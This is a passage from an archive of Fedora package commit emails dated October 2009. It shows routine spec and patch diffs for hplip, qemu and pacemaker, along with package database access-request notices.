@@ -404,6 +407,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
+- Fix metacity keybindings showing up under compiz
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-3
 - Change 'Best shapes' to mean grayscale+slight
 



From twaugh at fedoraproject.org  Thu Oct 29 12:51:16 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 12:51:16 +0000 (UTC)
Subject: rpms/hplip/F-12 hplip-retry-open.patch, NONE, 1.1 hplip.spec, 1.242,
	1.243
Message-ID: <20091029125116.1FAA711C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18270

Modified Files:
	hplip.spec 
Added Files:
	hplip-retry-open.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
- Retry when connecting to device fails (bug #528483).


hplip-retry-open.patch:
 hp.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

--- NEW FILE hplip-retry-open.patch ---
diff -up hplip-3.9.8/prnt/backend/hp.c.retry-open hplip-3.9.8/prnt/backend/hp.c
--- hplip-3.9.8/prnt/backend/hp.c.retry-open	2009-10-27 11:46:00.181457688 +0000
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-27 11:57:51.527583553 +0000
@@ -724,11 +724,21 @@ int main(int argc, char *argv[])
                /* Open hp device. */
                while ((stat = hpmud_open_device(argv[0], ma.prt_mode, &hd)) != HPMUD_R_OK)
                {
-                  if (stat != HPMUD_R_DEVICE_BUSY)
-                  {
-                     BUG("ERROR: cannot open device stat=%d: %s\n", stat, argv[0]);
-                     goto bugout;
-                  }
+		  if (getenv ("CLASS") != NULL)
+		  {
+		     /* If the CLASS environment variable is set we
+		      * need to give other class members a chance in
+		      * case their devices are ready to go.
+		      */
+
+		     BUG("INFO: cannot open device stat=%d: %s\n", stat, argv[0]);
+		     BUG("INFO: queuing on next printer in class...\n");
+
+		     /* Prevent job requeuing too quickly. */
+		     sleep (5);
+
+		     goto bugout;
+		  }
 
                   /* Display user error. */
                   device_event(argv[0], printer, 5000+stat, argv[2], argv[1], argv[3]);


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-12/hplip.spec,v
retrieving revision 1.242
retrieving revision 1.243
diff -u -p -r1.242 -r1.243
--- hplip.spec	29 Oct 2009 12:24:42 -0000	1.242
+++ hplip.spec	29 Oct 2009 12:51:15 -0000	1.243
@@ -24,8 +24,9 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
-Patch12: hplip-plugin-error.patch
-Patch13: hplip-hpcups-sigpipe.patch
+Patch12: hplip-retry-open.patch
+Patch13: hplip-plugin-error.patch
+Patch14: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -148,12 +149,15 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
 
+# Retry when connecting to device fails (bug #528483).
+%patch12 -p1 -b .retry-open
+
 # Set a printer-state-reason when there's a missing required plugin
 # (bug #531330).
-%patch12 -p1 -b .plugin-error
+%patch13 -p1 -b .plugin-error
 
 # Avoid busy loop in hpcups when backend has exited (bug #525944).
-%patch13 -p1 -b .hpcups-sigpipe
+%patch14 -p1 -b .hpcups-sigpipe
 
 %build
 aclocal
@@ -359,6 +363,7 @@ fi
 
 %changelog
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
+- Retry when connecting to device fails (bug #528483).
 - Avoid busy loop in hpcups when backend has exited (bug #525944).
 
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18



From markmc at fedoraproject.org  Thu Oct 29 12:54:54 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 12:54:54 +0000 (UTC)
Subject: rpms/qemu/devel qemu-fix-dropped-packets-with-non-virtio-nics.patch,
	1.1, 1.2
Message-ID: <20091029125454.ECA9411C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19751

Modified Files:
	qemu-fix-dropped-packets-with-non-virtio-nics.patch 
Log Message:
Fix typo in patch


qemu-fix-dropped-packets-with-non-virtio-nics.patch:
 net.c |   30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

Index: qemu-fix-dropped-packets-with-non-virtio-nics.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu-fix-dropped-packets-with-non-virtio-nics.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qemu-fix-dropped-packets-with-non-virtio-nics.patch	29 Oct 2009 11:45:25 -0000	1.1
+++ qemu-fix-dropped-packets-with-non-virtio-nics.patch	29 Oct 2009 12:54:54 -0000	1.2
@@ -1,4 +1,4 @@
-From e670b85a691a6e39bce4b69f2175e0bfebc93f51 Mon Sep 17 00:00:00 2001
+From 2e7c7b6cb25603e2fa40990da86d03a57b2616bd Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 29 Oct 2009 11:34:17 +0000
 Subject: [PATCH] net: disable draining tap queue in one go
@@ -39,7 +39,7 @@ Fedora-patch: qemu-fix-dropped-packets-w
  1 files changed, 13 insertions(+), 16 deletions(-)
 
 diff --git a/net.c b/net.c
-index 3572c48..3abab95 100644
+index 3572c48..522e33c 100644
 --- a/net.c
 +++ b/net.c
 @@ -1453,27 +1453,24 @@ static void tap_send(void *opaque)
@@ -57,7 +57,7 @@ index 3572c48..3abab95 100644
 -        }
 +    size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
 +    if (size <= 0) {
-+        break;
++        return;
 +    }
  
  #ifdef IFF_VNET_HDR



From markmc at fedoraproject.org  Thu Oct 29 12:55:06 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 12:55:06 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-fix-dropped-packets-with-non-virtio-nics.patch, 
	1.1, 1.2
Message-ID: <20091029125506.EF0D911C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19899

Modified Files:
	qemu-fix-dropped-packets-with-non-virtio-nics.patch 
Log Message:
Fix typo in patch

qemu-fix-dropped-packets-with-non-virtio-nics.patch:
 net.c |   30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

Index: qemu-fix-dropped-packets-with-non-virtio-nics.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu-fix-dropped-packets-with-non-virtio-nics.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qemu-fix-dropped-packets-with-non-virtio-nics.patch	29 Oct 2009 11:45:24 -0000	1.1
+++ qemu-fix-dropped-packets-with-non-virtio-nics.patch	29 Oct 2009 12:55:06 -0000	1.2
@@ -1,4 +1,4 @@
-From e670b85a691a6e39bce4b69f2175e0bfebc93f51 Mon Sep 17 00:00:00 2001
+From 2e7c7b6cb25603e2fa40990da86d03a57b2616bd Mon Sep 17 00:00:00 2001
 From: Mark McLoughlin <markmc at redhat.com>
 Date: Thu, 29 Oct 2009 11:34:17 +0000
 Subject: [PATCH] net: disable draining tap queue in one go
@@ -39,7 +39,7 @@ Fedora-patch: qemu-fix-dropped-packets-w
  1 files changed, 13 insertions(+), 16 deletions(-)
 
 diff --git a/net.c b/net.c
-index 3572c48..3abab95 100644
+index 3572c48..522e33c 100644
 --- a/net.c
 +++ b/net.c
 @@ -1453,27 +1453,24 @@ static void tap_send(void *opaque)
@@ -57,7 +57,7 @@ index 3572c48..3abab95 100644
 -        }
 +    size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
 +    if (size <= 0) {
-+        break;
++        return;
 +    }
  
  #ifdef IFF_VNET_HDR



From beekhof at fedoraproject.org  Thu Oct 29 12:57:06 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Thu, 29 Oct 2009 12:57:06 +0000 (UTC)
Subject: rpms/pacemaker/F-12 .cvsignore, 1.5, 1.6 pacemaker.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091029125706.201BA11C008B@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/pacemaker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20595/F-12

Modified Files:
	.cvsignore pacemaker.spec sources 
Log Message:
Update with the results of CoroSync integration testing


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	13 Oct 2009 11:53:31 -0000	1.5
+++ .cvsignore	29 Oct 2009 12:57:05 -0000	1.6
@@ -1 +1 @@
-38cd629e5c3c.tar.bz2
+ee19d8e83c2a.tar.bz2


Index: pacemaker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/pacemaker.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- pacemaker.spec	13 Oct 2009 11:53:31 -0000	1.7
+++ pacemaker.spec	29 Oct 2009 12:57:05 -0000	1.8
@@ -2,26 +2,29 @@
 %global uname hacluster
 %global with_ais_support	1
 %global with_heartbeat_support	1
-# Enable heartbeat support once it builds against cluster-glue
+%global pcmk_docdir %{_docdir}/%{name}
 
-# When downloading directly from Mercurial, it will automatically add this prefix
-# Invoking 'hg archive' wont but you can add one with:
-# hg archive -t tgz -p "Pacemaker-1-0-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 3
-%global upstreamprefix Pacemaker-1-0-
-%global upstreamversion 38cd629e5c3c
+%global specversion 4
+%global upstream_version ee19d8e83c2a
+%global upstream_prefix Pacemaker-1-0-
 
 # Keep around for when/if required
-#global alphatag %{upstreamversion}.hg
+#global alphatag %{upstream_version}.hg
+
+%global pcmk_release %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
+
+# When downloading directly from Mercurial, it will automatically add a prefix
+# Invoking 'hg archive' wont but you can add one with:
+# hg archive -t tgz -p "$upstream_prefix-$upstream_version" -r $upstream_version $upstream_version.tar.gz
 
 Name:		pacemaker
 Summary:	Scalable High-Availability cluster resource manager
 Version:	1.0.5
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
+Release:	%{pcmk_release}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Daemons
-Source0:	http://hg.clusterlabs.org/pacemaker/stable-1.0/archive/%{upstreamversion}.tar.bz2
+Source0:	http://hg.clusterlabs.org/pacemaker/stable-1.0/archive/%{upstream_version}.tar.bz2
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 AutoReqProv:	on
 Requires(pre):	cluster-glue
@@ -101,11 +104,11 @@ when related resources fail and can be c
 resource health.
 
 %prep
-%setup -q -n %{upstreamprefix}%{upstreamversion}
+%setup -q -n %{upstream_prefix}%{upstream_version}
 
 %build
 ./autogen.sh
-%{configure} --localstatedir=%{_var} --enable-fatal-warnings=no 
+%{configure} --localstatedir=%{_var} --enable-fatal-warnings=no --docdir=%{pcmk_docdir}
 make %{_smp_mflags}
 
 %install
@@ -144,8 +147,6 @@ rm -rf %{buildroot}
 %files
 ###########################################################
 %defattr(-,root,root)
-%dir %{_datadir}/doc/packages/pacemaker
-%dir %{_datadir}/doc/packages/pacemaker/templates
 
 %{_datadir}/pacemaker
 %{_datadir}/snmp/mibs/PCMK-MIB.txt
@@ -174,13 +175,15 @@ rm -rf %{buildroot}
 %exclude %{_sbindir}/crm_uuid
 %endif
 
-%doc %{_datadir}/doc/packages/pacemaker/AUTHORS
-%doc %{_datadir}/doc/packages/pacemaker/README
-%doc %{_datadir}/doc/packages/pacemaker/README.hb2openais
-%doc %{_datadir}/doc/packages/pacemaker/COPYING
-%doc %{_datadir}/doc/packages/pacemaker/COPYING.LGPL
-%doc %{_datadir}/doc/packages/pacemaker/crm_cli.txt
-%doc %{_datadir}/doc/packages/pacemaker/templates/*
+# Packaged elsewhere
+%exclude %{pcmk_docdir}/AUTHORS
+%exclude %{pcmk_docdir}/COPYING
+%exclude %{pcmk_docdir}/COPYING.LIB
+
+%exclude %{pcmk_docdir}/index.html
+%doc %{pcmk_docdir}/crm_cli.txt
+%doc %{pcmk_docdir}/crm_fencing.txt
+%doc %{pcmk_docdir}/README.hb2openais
 %doc %{_mandir}/man8/*.8*
 %doc COPYING
 %doc AUTHORS
@@ -217,6 +220,24 @@ rm -rf %{buildroot}
 %doc AUTHORS
 
 %changelog
+* Thu Oct 29 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0.5-4
+- Include the fixes from CoroSync integration testing
+- Move the resource templates - they're not documentation
+- Ensure documentation is placed in a standard location
+- Exclude documentation that is included elsewhere in the package
+
+- Update the tarball from upstream to version ee19d8e83c2a
+  + High: cib: Correctly clean up when both plaintext and tls remote ports are requested
+  + High: PE: Bug bnc#515172 - Provide better defaults for lt(e) and gt(e) comparisions
+  + High: PE: Bug lf#2197 - Allow master instances placemaker to be influenced by colocation constraints
+  + High: PE: Make sure promote/demote pseudo actions are created correctly
+  + High: PE: Prevent target-role from promoting more than master-max instances
+  + High: ais: Bug lf#2199 - Prevent expected-quorum-votes from being populated with garbage
+  + High: ais: Prevent deadlock - dont try to release IPC message if the connection failed
+  + High: cib: For validation errors, send back the full CIB so the client can display the errors
+  + High: cib: Prevent use-after-free for remote plaintext connections
+  + High: crmd: Bug lf#2201 - Prevent use-of-NULL when running heartbeat
+
 * Wed Oct 13 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0.5-3
 - Update the tarball from upstream to version 38cd629e5c3c
   + High: Core: Bug lf#2169 - Allow dtd/schema validation to be disabled


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	13 Oct 2009 11:53:31 -0000	1.5
+++ sources	29 Oct 2009 12:57:05 -0000	1.6
@@ -1 +1 @@
-4dc13c8478dee77a7abc8b06e6d8c716  38cd629e5c3c.tar.bz2
+277e12a5417ff294b166225f4d7c4648  ee19d8e83c2a.tar.bz2



From beekhof at fedoraproject.org  Thu Oct 29 12:57:06 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Thu, 29 Oct 2009 12:57:06 +0000 (UTC)
Subject: rpms/pacemaker/devel .cvsignore, 1.4, 1.5 pacemaker.spec, 1.7,
	1.8 sources, 1.4, 1.5
Message-ID: <20091029125706.5FF4011C008B@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/pacemaker/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20595/devel

Modified Files:
	.cvsignore pacemaker.spec sources 
Log Message:
Update with the results of CoroSync integration testing


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Aug 2009 19:14:09 -0000	1.4
+++ .cvsignore	29 Oct 2009 12:57:06 -0000	1.5
@@ -1 +1 @@
-462f1569a437.tar.bz2
+ee19d8e83c2a.tar.bz2


Index: pacemaker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/devel/pacemaker.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- pacemaker.spec	9 Oct 2009 15:04:26 -0000	1.7
+++ pacemaker.spec	29 Oct 2009 12:57:06 -0000	1.8
@@ -2,26 +2,29 @@
 %global uname hacluster
 %global with_ais_support	1
 %global with_heartbeat_support	1
-# Enable heartbeat support once it builds against cluster-glue
+%global pcmk_docdir %{_docdir}/%{name}
 
-# When downloading directly from Mercurial, it will automatically add this prefix
-# Invoking 'hg archive' wont but you can add one with:
-# hg archive -t tgz -p "Pacemaker-1-0-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 3
-%global upstreamprefix Pacemaker-1-0-
-%global upstreamversion 462f1569a437
+%global specversion 4
+%global upstream_version ee19d8e83c2a
+%global upstream_prefix Pacemaker-1-0-
 
 # Keep around for when/if required
-#global alphatag %{upstreamversion}.hg
+#global alphatag %{upstream_version}.hg
+
+%global pcmk_release %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
+
+# When downloading directly from Mercurial, it will automatically add a prefix
+# Invoking 'hg archive' wont but you can add one with:
+# hg archive -t tgz -p "$upstream_prefix-$upstream_version" -r $upstream_version $upstream_version.tar.gz
 
 Name:		pacemaker
 Summary:	Scalable High-Availability cluster resource manager
 Version:	1.0.5
-Release:	%{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
+Release:	%{pcmk_release}
 License:	GPLv2+ and LGPLv2+
 Url:		http://www.clusterlabs.org
 Group:		System Environment/Daemons
-Source0:	http://hg.clusterlabs.org/pacemaker/stable-1.0/archive/%{upstreamversion}.tar.bz2
+Source0:	http://hg.clusterlabs.org/pacemaker/stable-1.0/archive/%{upstream_version}.tar.bz2
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 AutoReqProv:	on
 Requires(pre):	cluster-glue
@@ -101,11 +104,11 @@ when related resources fail and can be c
 resource health.
 
 %prep
-%setup -q -n %{upstreamprefix}%{upstreamversion}
+%setup -q -n %{upstream_prefix}%{upstream_version}
 
 %build
 ./autogen.sh
-%{configure} --localstatedir=%{_var} --enable-fatal-warnings=no 
+%{configure} --localstatedir=%{_var} --enable-fatal-warnings=no --docdir=%{pcmk_docdir}
 make %{_smp_mflags}
 
 %install
@@ -144,10 +147,9 @@ rm -rf %{buildroot}
 %files
 ###########################################################
 %defattr(-,root,root)
-%dir %{_datadir}/doc/packages/pacemaker
-%dir %{_datadir}/doc/packages/pacemaker/templates
 
 %{_datadir}/pacemaker
+%{_datadir}/snmp/mibs/PCMK-MIB.txt
 %{_libdir}/heartbeat/*
 %{_sbindir}/cibadmin
 %{_sbindir}/crm_attribute
@@ -173,13 +175,15 @@ rm -rf %{buildroot}
 %exclude %{_sbindir}/crm_uuid
 %endif
 
-%doc %{_datadir}/doc/packages/pacemaker/AUTHORS
-%doc %{_datadir}/doc/packages/pacemaker/README
-%doc %{_datadir}/doc/packages/pacemaker/README.hb2openais
-%doc %{_datadir}/doc/packages/pacemaker/COPYING
-%doc %{_datadir}/doc/packages/pacemaker/COPYING.LGPL
-%doc %{_datadir}/doc/packages/pacemaker/crm_cli.txt
-%doc %{_datadir}/doc/packages/pacemaker/templates/*
+# Packaged elsewhere
+%exclude %{pcmk_docdir}/AUTHORS
+%exclude %{pcmk_docdir}/COPYING
+%exclude %{pcmk_docdir}/COPYING.LIB
+
+%exclude %{pcmk_docdir}/index.html
+%doc %{pcmk_docdir}/crm_cli.txt
+%doc %{pcmk_docdir}/crm_fencing.txt
+%doc %{pcmk_docdir}/README.hb2openais
 %doc %{_mandir}/man8/*.8*
 %doc COPYING
 %doc AUTHORS
@@ -216,6 +220,45 @@ rm -rf %{buildroot}
 %doc AUTHORS
 
 %changelog
+* Thu Oct 29 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0.5-4
+- Include the fixes from CoroSync integration testing
+- Move the resource templates - they're not documentation
+- Ensure documentation is placed in a standard location
+- Exclude documentation that is included elsewhere in the package
+
+- Update the tarball from upstream to version ee19d8e83c2a
+  + High: cib: Correctly clean up when both plaintext and tls remote ports are requested
+  + High: PE: Bug bnc#515172 - Provide better defaults for lt(e) and gt(e) comparisions
+  + High: PE: Bug lf#2197 - Allow master instances placemaker to be influenced by colocation constraints
+  + High: PE: Make sure promote/demote pseudo actions are created correctly
+  + High: PE: Prevent target-role from promoting more than master-max instances
+  + High: ais: Bug lf#2199 - Prevent expected-quorum-votes from being populated with garbage
+  + High: ais: Prevent deadlock - dont try to release IPC message if the connection failed
+  + High: cib: For validation errors, send back the full CIB so the client can display the errors
+  + High: cib: Prevent use-after-free for remote plaintext connections
+  + High: crmd: Bug lf#2201 - Prevent use-of-NULL when running heartbeat
+  + High: Core: Bug lf#2169 - Allow dtd/schema validation to be disabled
+  + High: PE: Bug lf#2106 - Not all anonymous clone children are restarted after configuration change
+  + High: PE: Bug lf#2170 - stop-all-resources option had no effect
+  + High: PE: Bug lf#2171 - Prevent groups from starting if they depend on a complex resource which can't
+  + High: PE: Disable resource management if stonith-enabled=true and no stonith resources are defined
+  + High: PE: Don't include master score if it would prevent allocation
+  + High: ais: Avoid excessive load by checking for dead children every 1s (instead of 100ms)
+  + High: ais: Bug rh#525589 - Prevent shutdown deadlocks when running on CoroSync
+  + High: ais: Gracefully handle changes to the AIS nodeid
+  + High: crmd: Bug bnc#527530 - Wait for the transition to complete before leaving S_TRANSITION_ENGINE
+  + High: crmd: Prevent use-after-free with LOG_DEBUG_3
+  + Medium: xml: Mask the "symmetrical" attribute on rsc_colocation constraints (bnc#540672)
+  + Medium (bnc#520707): Tools: crm: new templates ocfs2 and clvm
+  + Medium: Build: Invert the disable ais/heartbeat logic so that --without (ais|heartbeat) is available to rpmbuild
+  + Medium: PE: Bug lf#2178 - Indicate unmanaged clones
+  + Medium: PE: Bug lf#2180 - Include node information for all failed ops
+  + Medium: PE: Bug lf#2189 - Incorrect error message when unpacking simple ordering constraint
+  + Medium: PE: Correctly log resources that would like to start but can't
+  + Medium: PE: Stop ptest from logging to syslog
+  + Medium: ais: Include version details in plugin name
+  + Medium: crmd: Requery the resource metadata after every start operation
+
 * Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.5-3
 - rebuilt with new net-snmp
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pacemaker/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Aug 2009 19:14:09 -0000	1.4
+++ sources	29 Oct 2009 12:57:06 -0000	1.5
@@ -1 +1 @@
-2206d439eccd8794353ee798849f448d  462f1569a437.tar.bz2
+277e12a5417ff294b166225f4d7c4648  ee19d8e83c2a.tar.bz2



From twaugh at fedoraproject.org  Thu Oct 29 13:08:06 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 13:08:06 +0000 (UTC)
Subject: rpms/hplip/devel hplip-hpcups-sigpipe.patch, NONE,
	1.1 hplip-retry-open.patch, NONE, 1.1 hplip.spec, 1.241, 1.242
Message-ID: <20091029130806.2461711C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24237

Modified Files:
	hplip.spec 
Added Files:
	hplip-hpcups-sigpipe.patch hplip-retry-open.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
- Retry when connecting to device fails (bug #528483).
- Avoid busy loop in hpcups when backend has exited (bug #525944).


hplip-hpcups-sigpipe.patch:
 services.cpp |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE hplip-hpcups-sigpipe.patch ---
diff -up hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe hplip-3.9.8/prnt/hpijs/services.cpp
--- hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe	2009-08-04 22:35:41.000000000 +0100
+++ hplip-3.9.8/prnt/hpijs/services.cpp	2009-10-29 11:56:23.015022337 +0000
@@ -29,6 +29,7 @@
     POSSIBILITY OF SUCH DAMAGE.
 \*****************************************************************************/
 
+#include <errno.h>
 #include <sys/stat.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -382,8 +383,16 @@ DRIVER_ERROR UXServices::ToDevice(const 
    if (write(OutputPath, pBuffer, *Count) != (ssize_t)*Count) 
    {
       static int cnt=0;
-      if (cnt++ < 5)
+      if (cnt < 5)
+      {
+	 cnt++;
          BUG("unable to write to output, fd=%d, count=%d: %m\n", OutputPath, *Count);
+      }
+
+      if (errno == EPIPE)
+	 /* The backend has exited.  There's no recovering from that. */
+	 exit (1);
+
       return IO_ERROR;
    }
 

hplip-retry-open.patch:
 hp.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

--- NEW FILE hplip-retry-open.patch ---
diff -up hplip-3.9.8/prnt/backend/hp.c.retry-open hplip-3.9.8/prnt/backend/hp.c
--- hplip-3.9.8/prnt/backend/hp.c.retry-open	2009-10-27 11:46:00.181457688 +0000
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-27 11:57:51.527583553 +0000
@@ -724,11 +724,21 @@ int main(int argc, char *argv[])
                /* Open hp device. */
                while ((stat = hpmud_open_device(argv[0], ma.prt_mode, &hd)) != HPMUD_R_OK)
                {
-                  if (stat != HPMUD_R_DEVICE_BUSY)
-                  {
-                     BUG("ERROR: cannot open device stat=%d: %s\n", stat, argv[0]);
-                     goto bugout;
-                  }
+		  if (getenv ("CLASS") != NULL)
+		  {
+		     /* If the CLASS environment variable is set we
+		      * need to give other class members a chance in
+		      * case their devices are ready to go.
+		      */
+
+		     BUG("INFO: cannot open device stat=%d: %s\n", stat, argv[0]);
+		     BUG("INFO: queuing on next printer in class...\n");
+
+		     /* Prevent job requeuing too quickly. */
+		     sleep (5);
+
+		     goto bugout;
+		  }
 
                   /* Display user error. */
                   device_event(argv[0], printer, 5000+stat, argv[2], argv[1], argv[3]);


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/devel/hplip.spec,v
retrieving revision 1.241
retrieving revision 1.242
diff -u -p -r1.241 -r1.242
--- hplip.spec	29 Oct 2009 10:53:43 -0000	1.241
+++ hplip.spec	29 Oct 2009 13:08:05 -0000	1.242
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 18%{?dist}
+Release: 19%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -24,7 +24,9 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
-Patch12: hplip-plugin-error.patch
+Patch12: hplip-retry-open.patch
+Patch13: hplip-plugin-error.patch
+Patch14: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -147,9 +149,15 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
 
+# Retry when connecting to device fails (bug #528483).
+%patch12 -p1 -b .retry-open
+
 # Set a printer-state-reason when there's a missing required plugin
 # (bug #531330).
-%patch12 -p1 -b .plugin-error
+%patch13 -p1 -b .plugin-error
+
+# Avoid busy loop in hpcups when backend has exited (bug #525944).
+%patch14 -p1 -b .hpcups-sigpipe
 
 %build
 aclocal
@@ -354,6 +362,10 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
+- Retry when connecting to device fails (bug #528483).
+- Avoid busy loop in hpcups when backend has exited (bug #525944).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
 - Set a printer-state-reason when there's a missing required plugin
   (bug #531330).



From mschwendt at fedoraproject.org  Thu Oct 29 13:15:41 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Thu, 29 Oct 2009 13:15:41 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12 README,1.2,NONE
Message-ID: <20091029131541.D4EBD11C008B@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26955

Removed Files:
	README 
Log Message:
remove this copy of the file in devel dir


--- README DELETED ---



From pkgdb at fedoraproject.org  Thu Oct 29 13:16:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 13:16:17 +0000
Subject: [pkgdb] pari: pghmcfc has requested watchcommits
Message-ID: <20091029131618.09DFB10F871@bastion2.fedora.phx.redhat.com>

pghmcfc has requested the watchcommits acl on pari (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pari



From pkgdb at fedoraproject.org  Thu Oct 29 13:16:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 13:16:19 +0000
Subject: [pkgdb] pari: pghmcfc has requested watchbugzilla
Message-ID: <20091029131620.6A80F10F880@bastion2.fedora.phx.redhat.com>

pghmcfc has requested the watchbugzilla acl on pari (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pari



From pghmcfc at fedoraproject.org  Thu Oct 29 13:23:55 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
